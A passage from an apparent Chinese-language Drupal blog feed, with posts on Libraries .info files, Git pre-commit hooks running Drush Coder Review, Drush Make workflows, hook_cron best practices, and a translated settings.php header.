&lt;p&gt;这种方法还是蛮不方便的，更简单的方式就是，直接手写info文件，例如我们要载入一个 jsonview 的库&lt;/p&gt;

&lt;p&gt;把 json view 的内容解压到 &lt;code&gt;all/libraries/jsonview&lt;/code&gt; 目录中。&lt;/p&gt;

&lt;p&gt;新建文件 &lt;code&gt;jsonview.libraries.info&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;name = Json View
machine name = jsonview
description = json view plugins for jQuery
version = 1.2.0
files[js][] = jquery.jsonview.js
files[css][] = jquery.jsonview.css
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;利用 drush libraries-list 命令，查看 Libraries 载入结果：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;名字         状态            版本       Variants  Dependencies
 jsonview   OK            1.2.0    -         -
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;另附 tcpdf 库的 &lt;code&gt;libraries.info&lt;/code&gt; 内容：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;name = TCPDF for PHP
machine name = tcpdf
description = tcpdf
version = 6.0.093
files[php][] = tcpdf.php
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>在版本管理过程中增强Drupal编码标准控制</title>
      <link>/post/drupal-coding-standard-control-in-scm/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/drupal-coding-standard-control-in-scm/</guid>
      <description>&lt;p&gt;根据&lt;a href=&#34;https://drupal.org&#34; target=&#34;_blank&#34;&gt;Drupal.org&lt;/a&gt;的统计结果，Drupal社区共拥有：&lt;/p&gt;

&lt;p&gt;＊ 27098个模块&lt;/p&gt;

&lt;p&gt;＊ 2012个主题&lt;/p&gt;

&lt;p&gt;＊ 827个发行版&lt;/p&gt;

&lt;p&gt;＊ 33875个开发者&lt;/p&gt;

&lt;p&gt;另外，来自230个国家，说着181种不同语言的107万4000多个用户在使用Drupal。上述数据完全来自Drupal社区。&lt;/p&gt;

&lt;p&gt;我想要花时间来说一下这一条：27098个模块，这些模块由大约33875个开发者贡献的巨量代码构成。世上没有两片相同的树叶，如此众多的开发者，当然也可能产生各自的编码风格，如果这样下去，一个模块的代码对于其他开发者来说，可能就完全是晦涩难懂的了。&lt;/p&gt;

&lt;p&gt;编码规范很重要，尤其是对于Drupal这种大规模项目来说。规范的代码能让初次接触项目的开发者不至于一头雾水。在规范代码的帮助下，新晋者可以顺利的进入代码并顺利完成工作，而无需在奇怪的变量命名和古怪的代码格式上浪费时间。&lt;/p&gt;

&lt;p&gt;Drupal实现了大量的规范。从简单的代码格式，到复杂的安全实现，都被这些规范所涵盖。每个Drupal模块都要遵守这些标准。如果所有的模块都满足这一要求，那么Drupal就能够在安全、性能以及易读性方面更上一层楼。&lt;/p&gt;

&lt;p&gt;我们用来进行代码编写的IDE和一些编辑器能够根据这些标准规则，进行实时的代码检查，所以我们推荐开发过程使用这些工具，不过工具问题不是本文的重点。你当然可以用自己的方式来保存代码，提交代码到你在使用的版本库中；但如果要向Drupal提交，那么就要保证这些代码是符合规范的。&lt;/p&gt;

&lt;p&gt;如何保证呢？简单的办法就是，不合规则的代码不许提交。&lt;/p&gt;

&lt;p&gt;使用&lt;a href=&#34;https://www.drupal.org/project/coder&#34; target=&#34;_blank&#34;&gt;Coder&lt;/a&gt;，&lt;a href=&#34;https://www.drupal.org/project/coder&#34; target=&#34;_blank&#34;&gt;Coder Review&lt;/a&gt;，&lt;a href=&#34;https://github.com/drush-ops/drush&#34; target=&#34;_blank&#34;&gt;Drush&lt;/a&gt;，pre-commit/pre-push钩子等很多方法都能够保证提交到版本库的代码是符合规范的。本文将聚焦于Drush和Git的集成，而不会详细讲解Drupal管理界面的Coder模块。&lt;/p&gt;

&lt;p&gt;#Coder, Coder Review以及Coder Sniffer模块&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://www.drupal.org/project/coder&#34; target=&#34;_blank&#34;&gt;Coder模块&lt;/a&gt;是一个插件管理器。Coder模块自带的Coder Review和Coder Sniffer是两个标准包，包含了实际的标准测试。下面是我们将要提及的一些相关内容：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Drupal CodeSniffer&lt;/li&gt;
&lt;li&gt;Drupal Sequrity Checks&lt;/li&gt;
&lt;li&gt;Drupal SQL Standards&lt;/li&gt;
&lt;li&gt;Drupal Commenting Standards&lt;/li&gt;
&lt;li&gt;Internationalization&lt;/li&gt;
&lt;li&gt;Drupal Coding Standards&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这里不准备对上述功能进行深入讲解，这些字面功能都很直观。可能以后对这些功能以及相关标准进行逐个的详细介绍。&lt;/p&gt;

&lt;p&gt;#Coder Reivew和Drush的集成&lt;/p&gt;

&lt;p&gt;这里假设读者对Drush有一定使用经验， 所以我不会讲解Drush本神的内容。这里我要多说一句就是：Drush是Drupal管理方面的最佳工具。借助Drush可以做很多有趣的事情，例如在命令行上进行Code Review。下面举个例子：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;  drush @local.drupal coder janrain –minor –ignore –no-empty –reviews=sniffer,security,sql,comment,i18n,style –ignorename –ignores-pass
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的命令告诉Drush调用Coder模块，对Janrain模块进行reviews参数中指定的Review，并声明启用忽略功能，不显示成功通过的信息（-no-empty），显示被忽略的规则名称（-ignorename），以及测试所有级别的规则（-minor）。&lt;code&gt;-ignore-pass&lt;/code&gt;选项告诉Coder不要对被忽略的警告进行计数，这一设置对pre-commit以及pre-push hooks很有用。除非显式的声明这一参数，否则产生的警告信息可能被当做命令的错误码返回。针对这种情况，我提出了一个补丁，&lt;a href=&#34;https://www.drupal.org/node/1974654&#34; target=&#34;_blank&#34;&gt;https://www.drupal.org/node/1974654&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;同样的，所有在末尾列出的文件也都在被Review的范围中。可以使用&lt;code&gt;drush help coder&lt;/code&gt;命令来获取完整的命令和参数列表。&lt;/p&gt;

&lt;p&gt;#Git集成&lt;/p&gt;

&lt;p&gt;上面的内容中，我们已经可以在命令行上进行Code Review了。Coder还有进一步的考虑就是，Review结果会用退出码的方式返回。退出码一般是Review过程中产生的警告和错误的总和。这里顺便做一下科普，当执行一个Shell命令时，如果其退出码不等于零，则代表该命令执行失败。所以，Review过程中产生任何的警告和错误，都代表着命令执行失败。&lt;/p&gt;

&lt;p&gt;返回码问题在进行pre-commit或pre-push的集成中尤为重要。大致说来，如果Review失败，就不可能进行代码提交，所以应该只有把代码修改到100%符合Review标准之后才能提交成功。&lt;/p&gt;

&lt;p&gt;接下来我们使用一个pre-commit钩子。这里要求每次提交的代码必须满足指定的Review标准，所以这是一个相当严格的规定，所以如果提交的频率很高，可能需要一个pre-push之类的本地方法，会让这个过程没那么烦躁。&lt;/p&gt;

&lt;p&gt;下面是两个代码文件：&lt;code&gt;pre-commit&lt;/code&gt;以及&lt;code&gt;pre-commit_janrain&lt;/code&gt;。这些代码由带有&lt;code&gt;-git&lt;/code&gt;选项的Review命令生成，其中有一些适应环境的本地修改。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;pre-commit&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;#!/usr/bin/php
&amp;lt;?php
/**
* @file
* Generic .git pre-commit hook runs all pre-commit hooks
* following the naming convention of pre-commit_example.
*
* This script was created by drush coder-review --git.
* Do not modify.
*/
$GITPATH = &amp;quot;/Users/lpeabody/Sites/drupal/sites/all/modules/janrain/.git&amp;quot;;

/**
* Return array of pre-commit_ files with their full relative paths.
*/
function find_pre_commit($dir = &#39;.&#39;) {
 $files = array();
 foreach (scandir($dir) as $file) {
   if (substr($file, 0, 11) == &#39;pre-commit_&#39; &amp;amp;&amp;amp; is_executable(&amp;quot;$dir/$file&amp;quot;)) {
     $files[] = &amp;quot;$dir/$file&amp;quot;;
   }
   elseif ($file != &#39;.&#39; &amp;amp;&amp;amp; $file != &#39;..&#39; &amp;amp;&amp;amp; is_dir(&amp;quot;$dir/$file&amp;quot;)) {
     $files = array_merge($files, find_pre_commit(&amp;quot;$dir/$file&amp;quot;));
   }
 }
 return $files;
}

// Run each pre-commit script.
foreach (find_pre_commit($GITPATH) as $pre_commit) {
 system($pre_commit, $ret);
 if ($ret != 0) {
   // Exit as soon as one of the scripts returns an error.
   exit($ret);
 }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;strong&gt;pre-commit_janrain&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;#!/usr/bin/php
&amp;lt;?php
/**
* @file
* Coder pre-commit hook.
*
* This script was created by drush coder-review --git.
* Do not modify.
*/

$PATH = getenv(&#39;PATH&#39;);
// need to add drush to the system path
putenv(&amp;quot;PATH=/usr/local/bin:$PATH&amp;quot;);

$GITPATH = &#39;/Users/lpeabody/Sites/drupal/sites/all/modules/janrain/.git&#39;;
$GITRELATIVE = &#39;sites/all/modules/janrain&#39;;
$CODER_ARGS = &#39;@local.drupal coder janrain --minor --ignore --no-empty --reviews=sniffer,security,sql,comment,i18n,style --ignorename --ignores-pass&#39;;

// Find the files that are ready to checkin.
// The magic revision is for an initial commit: diff against an empty tree object.
// See .git/pre-commit.sample.
exec(&#39;git rev-parse --verify HEAD 2&amp;gt; /dev/null 2&amp;gt;&amp;amp;1&#39;, $dummy, $ret);
$against = ($ret == 0) ? &#39;HEAD&#39; : &#39;4b825dc642cb6eb9a060e54bf8d69288fbee4904&#39;;
exec(&amp;quot;git diff --cached --name-only $against&amp;quot;, $files);

// Convert .git relative path to DRUPAL_ROOT relative.
foreach ($files as &amp;amp;$file) {
 $file = &amp;quot;$GITRELATIVE/$file&amp;quot;;
}

// Run coder against the .git files.
$cmd = &amp;quot;drush $CODER_ARGS&amp;quot;;
print &amp;quot;Coder pre-commit: $cmd\n - &amp;quot; . implode(&amp;quot;\n - &amp;quot;, $files) .&amp;quot;\n\n&amp;quot;;
system($cmd . &#39; &#39; . implode(&#39; &#39;, $files), $ret);
if ($ret) {
 exit($ret);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;#串起来&lt;/p&gt;

&lt;p&gt;把上面两个文件放到本地Git仓库的hooks目录中，版本化过程现在就有了增强的编码标准检查了。可以根据不同需求对这两个文件进行修改，例如调整各文件的顶层变量等。你可能也想要调整其中的Drush命令，例如不同的站点别名等。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-pre-commit```只是一个通用的方法，用于载入我们自行创建的```pre-commit```钩子。载入过程依赖于命名规则，要将自定义的pre-commit钩子按照```pre-commit_hookname```方式进行命名。&#34;&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;pre-commit_janrain```是真正执行任务的位置。简单说来，这个钩子会在每次本地提交的时候对janrain模块进行review。每个接触过的文件，只要不是在忽略范围之内，都需要100%的复合Drupal规范，才能够进行提交。如果在这个模块中发现了任何不合规则的情况，提交都会失败。&lt;/p&gt;

&lt;p&gt;这真的很简单，就是这一简单规则让Drupal社区称为一个整体。如果我们所有的代码都复合标准，Drupal就会是一个更健壮、更具效率也更安全的平台。Drupal在这一基础上会持续成长，不断强化代码。这也是每个Drupaller乐见其成的。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>如何用Drush Make完成日常任务</title>
      <link>/post/drush-make-daily-tasks/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/drush-make-daily-tasks/</guid>
      <description>&lt;p&gt;众所周知，Drupal Make在Drupal发行版的创建过程中具有重要作用，不过他对从来没有接触过发行版的人来说同样很有用，一个很好的例子就是&lt;a href=&#34;https://www.acquia.com/blog/patching-drush-make&#34; target=&#34;_blank&#34;&gt;《applying patches like a boss》&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;本文中我会展示在日常工作中我如何实用Drush Make来达成一些自动化目的，同时帮助我发现一些有趣的Drupal窍门。&lt;/p&gt;

&lt;p&gt;##Drush Make命令&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Drush Make内置两个命令：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;make&lt;/strong&gt;：把&amp;rdquo;&lt;strong&gt;.makefile&lt;/strong&gt;&amp;ldquo;转化为Drupal代码。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;make-generate&lt;/strong&gt;：从当前Drupal站生成&amp;rdquo;&lt;strong&gt;.makefile&lt;/strong&gt;&amp;ldquo;。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;两个命令都跟&amp;rdquo;&lt;strong&gt;.makefile&lt;/strong&gt;&amp;ldquo;有关，它是一种包含Drush Make指令的文本文件。延伸阅读：&lt;a href=&#34;https://github.com/drush-ops/drush/blob/master/docs/make.txt&#34; target=&#34;_blank&#34;&gt;.makefile语法&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;现在让我们开始深入一些学习Drush Make。&lt;/p&gt;

&lt;p&gt;##重建开发环境&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;日常工作中，我们经常会因为开发、测试或者演示的需要来安装一个新的干净的Drupal站。除去核心之外，一般还需要安装一些其他的一系列惯用模块，例如Administration Menu, Views或者其他一些什么东西。有了Drush Make，就可以把这个过程自动化，把所有需要的项目都包含到一个文件里面。&lt;/p&gt;

&lt;p&gt;下面是一个用于多语言测试的站点的&lt;strong&gt;.makefile&lt;/strong&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;; Drush Make API version.
api = 2
; Drupal core.
core = 7.x

;Common modules.
projects[admin_menu][subdir] = &amp;quot;contrib&amp;quot;
projects[ctools][subdir] = &amp;quot;contrib&amp;quot;
projects[token][subdir] = &amp;quot;contrib&amp;quot;
projects[views][subdir] = &amp;quot;contrib&amp;quot;

; Development modules.
projects[devel][subdir] = &amp;quot;development&amp;quot;

; Multilingual modules.
projects[fallback_language_negotation][subdir] = &amp;quot;contrib&amp;quot;
projects[variable][subdir] = &amp;quot;contrib&amp;quot;
projects[i18n][subdir] = &amp;quot;contrib&amp;quot;
projects[i18nviews][subdir] = &amp;quot;contrib&amp;quot;

; Load some translations.
translations[] = de
translations[] = ru
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个文件可以在本地进行保存（例如在&lt;strong&gt;~/.drush/make-files/d7_i18n.make&lt;/strong&gt;），也可以保存在远程服务器例如github。&lt;/p&gt;

&lt;p&gt;可以执行&lt;strong&gt;make&lt;/strong&gt;命令，通过这个文件在服务器上来创建我们的自定义环境（例如&lt;strong&gt;~/.drush/make-files/d7_i18n.make&lt;/strong&gt;）&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;  $ drush make d7_i18n.make /var/www/drupal_test.local
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;第一次执行可能会比较耗时，不过以后Drush会利用缓存节省很多时间。&lt;/p&gt;

&lt;p&gt;最后&lt;strong&gt;.makefile&lt;/strong&gt;中指定的最新版本的Drupal core, 第三方模块以及翻译文件都会被下载，并放置到指定位置。接下来，可以进入该站点的网址来运行install.php，或者使用Drush进行安装：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;  $ drush si --db-url=&amp;quot;mysql://user:password@localhost/databasename&amp;quot; --site-name=&amp;quot;Drupal Multilingual&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;另外，还可以通过&amp;ndash;tar选项，为&lt;strong&gt;.makefile&lt;/strong&gt;生成tar包。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;  $ drush make d7_i18n.make drupal_multilingual --tar
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在其中加入一系列的Features(基于&lt;a href=&#34;https://drupal.org/project/features&#34; target=&#34;_blank&#34;&gt;Features模块&lt;/a&gt;)，就建立了你自己的发行版。&lt;/p&gt;

&lt;p&gt;##下载依赖关系&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;你有没有发现有些第三方模块提供了&lt;strong&gt;.make&lt;/strong&gt;或者&lt;strong&gt;.make.example&lt;/strong&gt;文件？这些通常包含了外部库的列表（例如Colorbox module中的jQuery Colorbox插件）。这些文件可以使用&lt;strong&gt;&amp;ndash;no-core&lt;/strong&gt;标志，在drupal站内部运行。例如我们要下载&lt;a href=&#34;https://drupal.org/project/chosen&#34; target=&#34;_blank&#34;&gt;Chosen&lt;/a&gt;模块：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ drush dl chosen Project chosen (7.x-2.0-beta4) downloaded to sites/all/modules/contrib/chosen. 
$ drush make sites/all/modules/contrib/chosen/chosen.make.example --no-core 
chosen downloaded from https://github.com/harvesthq/chosen/releases/download/v1.1.0/chosen_v1.1.0.zip 
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在上个例子中，会下载和解压jQuery插件到&lt;strong&gt;libraries&lt;/strong&gt;文件夹中，这对使用者来说会非常方便。&lt;/p&gt;

&lt;p&gt;所以这里建议模块开发者，如果你试用了外部库，请在你的Drupal.org项目中添加一个&lt;strong&gt;.make.example&lt;/strong&gt;文件。还有其他办法也能达到这个目的，例如创建一个Drush命令&lt;strong&gt;chosen-plugin&lt;/strong&gt;，这需要&lt;a href=&#34;http://cgit.drupalcode.org/chosen/tree/drush/chosen.drush.inc?id=7.x-2.0-beta4&#34; target=&#34;_blank&#34;&gt;117行代码&lt;/a&gt;，而make的方式只需要&lt;a href=&#34;http://cgit.drupalcode.org/chosen/tree/chosen.make.example?id=7.x-2.0-beta4&#34; target=&#34;_blank&#34;&gt;7行代码&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;##为现存网站生成makefile&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;利用Drush Make可以轻易的共享自定义的Drupal。首先在Drupal根目录运行&lt;strong&gt;generate-makefile&lt;/strong&gt;命令：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ drush generate-makefile drupal_custom_build.make
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;生成的&lt;code&gt;drupal_custom_build.make&lt;/code&gt;文件中包含所有启用的项目版本的指令。如果一个项目中包含.git目录，Drush Make会自动设置相应的属性：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;projects[redirect][type] = &amp;quot;module&amp;quot;
projects[redirect][download][type] = &amp;quot;git&amp;quot;
projects[redirect][download][url] = &amp;quot;http://git.drupal.org/project/redirect.git&amp;quot;
projects[redirect][download][branch] = &amp;quot;7.x-1.x&amp;quot;
projects[redirect][download][revision] = &amp;quot;0b7b8dc2d58cb277874d87c91c45f0a361e148f7&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;生成的文件需要一些人工的审查工作。例如可以添加patch引用，在我的项目中为Redirect模块添加了两个补丁：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;projects[redirect][patch][] = &amp;quot;https://drupal.org/files/issues/redirect-global-905914-145.patch&amp;quot; 
projects[redirect][patch][] = &amp;quot;https://drupal.org/files/issues/redirect.circular-loops.1796596-146.patch&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在你需要向其他同事共享你的工作环境，或为排错提供故障现场时，上面生成的&lt;strong&gt;.makefile&lt;/strong&gt;会非常有用。&lt;/p&gt;

&lt;p&gt;##帮助你探索Drupal世界&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;最后，Drush Make文件也是一个帮助用户了解发行版的工具。例如&lt;a href=&#34;http://cgit.drupalcode.org/commerce_kickstart/tree/drupal-org.make?id=refs/heads;id2=7.x-2.x&#34; target=&#34;_blank&#34;&gt;Commerce Kickstart&lt;/a&gt;或者&lt;a href=&#34;https://github.com/openscholar/openscholar/blob/SCHOLAR-3.x/openscholar/drupal-org.make&#34; target=&#34;_blank&#34;&gt;OpenScholar&lt;/a&gt;中包含的众多有趣的项目。&lt;/p&gt;

&lt;p&gt;最后，希望本文能够帮助读者更好的使用Drush，来完成日常任务，甚至建立自己的发行版。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>最佳实践：hook_cron</title>
      <link>/post/best-practice-hook_cron/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/best-practice-hook_cron/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://www.thirdandgrove.com/best-practices-for-using-drupals-cron-system-hook_cron&#34; target=&#34;_blank&#34;&gt;Best practices for using Drupal’s cron system: hook_cron()
&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;如果你成功的设置了 &lt;a href=&#34;https://drupal.org/cron&#34; target=&#34;_blank&#34;&gt;Drupal Cron&lt;/a&gt;，&lt;a href=&#34;https://api.drupal.org/api/drupal/modules%21system%21system.api.php/function/hook_cron/7&#34; target=&#34;_blank&#34;&gt;hook_cron()&lt;/a&gt; 提供了一种不依赖页面请求的方式来进行后台任务，然而，Cron 的滥用也有可能造成性能问题，甚至威胁数据完整性。&lt;/p&gt;

&lt;p&gt;这里提供一些我们在实际工作中得来不易的一些 Cron 方面的最佳实践：&lt;/p&gt;

&lt;h2 id=&#34;第一条-用变量控制-cron&#34;&gt;第一条：用变量控制 Cron。&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;hook_cron()&lt;/code&gt; 的每一次调用都封装在一个变量检查的条件之内，这个变量的缺省值是TRUE，想要禁止这个 CRON，只要把这个变量创建起来并赋值为 False 即可，当你的 CRON 过程失控或者消耗太多资源时，这一手段是非常有效的。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;/**
  * Implements hook_cron().
  */
function example_cron() {
  if (variable_get(&#39;example_process_users_during_cron&#39;, TRUE)) {
    module_load_include(&#39;inc&#39;, &#39;example&#39;);
    example_process_users();
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;第二条-在-inc-文件中实现逻辑&#34;&gt;第二条：在 inc 文件中实现逻辑。&lt;/h2&gt;

&lt;p&gt;需要注意的是，Drupal 很重：每次页面请求都会载入所有被启用的 Module 文件。所以 module 文件里只应该包含每次页面请求都需要执行的部分，Cron 代码运行频率很低，因此不应包含在 module 文件里。这也是一条适用于其他模块开发的最佳实践。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;（这是快速得知一个模块作者是否真正了解 Drupal 的办法。）&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;第三条-drush-命令&#34;&gt;第三条：Drush 命令。&lt;/h2&gt;

&lt;p&gt;即使你不想使用 Drush 来运行 Cron，也应该创建一个简单的 Drush 命令来运行你的代码。在你的 CRON 过程消耗过高的时候，可以利用前面第一条说的方法禁用这条 CRON 命令，然后做一个系统的 Cron 过程，在恰当的时机来利用 drush 直接运行这段代码。可以根据开销情况，用这种方法来单独调节每个 Cron 任务。这是一种未雨绸缪的措施。&lt;/p&gt;

&lt;p&gt;下面是 &lt;code&gt;example.drush.inc&lt;/code&gt; 文件里的示例代码：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;/**
  * Implements hook_drush_command().
  */
function example_drush_command() {
  return array(
    &#39;example-process-users&#39; =&amp;gt; array(
      &#39;description&#39; =&amp;gt; dt(&#39;Process the user accounts.&#39;),
      &#39;alias&#39; =&amp;gt; array(&#39;epu&#39;),
    ),
  );
}

/**
  * Process user accounts.
  */
function drush_example_example_process_users() {
  module_load_include(&#39;inc&#39;, &#39;example&#39;);
  example_process_users();
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;第四条-批处理&#34;&gt;第四条：批处理。&lt;/h2&gt;

&lt;p&gt;在开发之前，不要仅仅想着今天或这个月的处理量，而应该想想一年甚至更大量的情况，确保你的处理效率能够适应数据的增长。&lt;/p&gt;

&lt;p&gt;这意味着，需要在代码重一次处理大批记录，可以用一个变量来指定每次的处理量，或者可以哦能够队列的方式来处理。&lt;/p&gt;

&lt;h2 id=&#34;第五条-我真的需要-cron-么&#34;&gt;第五条：我真的需要 Cron 么？&lt;/h2&gt;

&lt;p&gt;Drupal 的 &lt;code&gt;hook_cron()&lt;/code&gt; 是一个很适合处理简单，常见任务的方式。不过如果你要处理大量数据，或者复杂任务，你应该使用一些更专门的方法，例如 Drupal 7 的 &lt;a href=&#34;https://api.drupal.org/api/drupal/modules!system!system.queue.inc/group/queue/7&#34; target=&#34;_blank&#34;&gt;Queue System&lt;/a&gt;甚至 Drupal 之外的方案，例如 &lt;a href=&#34;http://jenkins-ci.org/&#34; target=&#34;_blank&#34;&gt;Jenkins CI&lt;/a&gt;。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>settings.php汉化</title>
      <link>/post/drupal-settings-translation/</link>
      <pubDate>Thu, 20 Nov 2014 02:10:07 +0800</pubDate>
      <guid>/post/drupal-settings-translation/</guid>
      <description>

&lt;p&gt;&amp;lt;?php&lt;/p&gt;

&lt;p&gt;/**
 * @file
 * Drupal站点配置文件
 *
 * 注意:
 *
 * 这个文件应该会被Drupal安装器设置为只读。
 * 如果对该文件进行编辑，编辑完成后必须重新设置为只读，否则将成为安全隐患。
 *
 * 这个配置文件会依照下面的规则进行载入。
 * 然而如果存在多站点别名文件sites/sites.php，则会被优先载入，
 * $sites中的别名会覆盖缺省的目录规则。
 * 参考sites/example.sites.php获取更多别名相关的内容。
 *
 * 配置目录的获取：
 * 从左到右剥掉站点的主机名
 * 从右向左去掉路径名
 * 找到一个文件名就会忽略其他的配置文件。
 * 如果没找到，则使用缺省的sites/default。
 *
 * 例如一个安装在&lt;a href=&#34;http://www.drupal.org:8080/mysite/test/的站点，&#34; target=&#34;_blank&#34;&gt;http://www.drupal.org:8080/mysite/test/的站点，&lt;/a&gt;
 * 会在下面的目录搜索settings.php文件：
 *
 * - sites/8080.www.drupal.org.mysite.test
 * - sites/www.drupal.org.mysite.test
 * - sites/drupal.org.mysite.test
 * - sites/org.mysite.test
 *
 * - sites/8080.www.drupal.org.mysite
 * - sites/www.drupal.org.mysite
 * - sites/drupal.org.mysite
 * - sites/org.mysite
 *
 * - sites/8080.www.drupal.org
 * - sites/www.drupal.org
 * - sites/drupal.org
 * - sites/org
 *
 * - sites/default
 *
 * 注意如果安装在一个非标准端口号上，这个端口会在前缀中体现，例如
 * &lt;a href=&#34;http://www.drupal.org:8080/mysite/test/&#34; target=&#34;_blank&#34;&gt;http://www.drupal.org:8080/mysite/test/&lt;/a&gt;
 * 可以在
 * sites/8080.www.drupal.org.mysite.test/载入。
 *
 * @see example.sites.php
 * @see conf_path()
 */&lt;/p&gt;

&lt;p&gt;/**
 * 数据库配置:
 *
 * $database数组指定了Drupal正在以及可能使用的数据库连接。
 * Drupal可以在一次请求中连接多个数据库，包括多种不同的数据库。
 *
 * @code
 * array(
 *   &amp;lsquo;driver&amp;rsquo; =&amp;gt; &amp;lsquo;mysql&amp;rsquo;,
 *   &amp;lsquo;database&amp;rsquo; =&amp;gt; &amp;lsquo;databasename&amp;rsquo;,
 *   &amp;lsquo;username&amp;rsquo; =&amp;gt; &amp;lsquo;username&amp;rsquo;,
 *   &amp;lsquo;password&amp;rsquo; =&amp;gt; &amp;lsquo;password&amp;rsquo;,
 *   &amp;lsquo;host&amp;rsquo; =&amp;gt; &amp;lsquo;localhost&amp;rsquo;,
 *   &amp;lsquo;port&amp;rsquo; =&amp;gt; 3306,
 *   &amp;lsquo;prefix&amp;rsquo; =&amp;gt; &amp;lsquo;myprefix_&amp;lsquo;,
 *   &amp;lsquo;collation&amp;rsquo; =&amp;gt; &amp;lsquo;utf8_general_ci&amp;rsquo;,
 * );
 * @endcode
 *
 * &amp;ldquo;driver&amp;rdquo; 属性用于描述该数据库所使用的Drupal数据库驱动。一般来说他的取值等同于数据库类型，例如mysql或者sqlite，当然，也有例外。
 * 其他的属性依赖于驱动。对SQLite来说，必须指定一个Web服务器可访问的数据库文件全名。
 * 其他数据库一般要指定用户名、密码、地址以及数据库名称。
 *
 * 缺省情况下，所有支持事务的数据库类型都会默认打开事务支持，其中包含MySQL。
 * 设置&amp;rsquo;transactions&amp;rsquo;键为FALSE，可以显式的关闭这一特性。
 * 注意MySQL的某些配置，例如MyISAM引擎，是不支持事务的，所以即使开启了事务，也不会生效。
 * 如果事务特性造成了站点崩溃，可以尝试关闭事务开关。
 *
 * 每个database都可以指定多个&amp;rsquo;目标&amp;rsquo;数据库。
 * 一个目标数据库允许Drupal尝试把某些查询发送到不同的数据库，如果失败的话，会回到缺省连接。
 * 这对主从复制结构的数据库很有用，Drupal会在恰当时机尝试连接到从服务器，如果从服务器不可用，则会回退到主服务器。
 *
 * 一般的配置方式如下所示：
 *
 * @code
 * $databases[&amp;lsquo;default&amp;rsquo;][&amp;lsquo;default&amp;rsquo;] = $info_array;
 * $databases[&amp;lsquo;default&amp;rsquo;][&amp;lsquo;slave&amp;rsquo;][] = $info_array;
 * $databases[&amp;lsquo;default&amp;rsquo;][&amp;lsquo;slave&amp;rsquo;][] = $info_array;
 * $databases[&amp;lsquo;extra&amp;rsquo;][&amp;lsquo;default&amp;rsquo;] = $info_array;
 * @endcode
 *
 * 在上面的例子中，$info&lt;em&gt;array是一个上面描述的数组。
 * 第一行用第二维的&amp;rsquo;default&amp;rsquo;设置主服务器为缺省服务器。
 * 第二三行创建了从数据库数组。Drupal会在请求中进行随机选择。
 * 最后一样创建了一个新的名为&amp;rdquo;extra&amp;rdquo;的数据库
 *
 * 如果是单服务器配置，下面的内容就足够了。
 *
 * @code
 * $databases[&amp;lsquo;default&amp;rsquo;][&amp;lsquo;default&amp;rsquo;] = array(
 *   &amp;lsquo;driver&amp;rsquo; =&amp;gt; &amp;lsquo;mysql&amp;rsquo;,
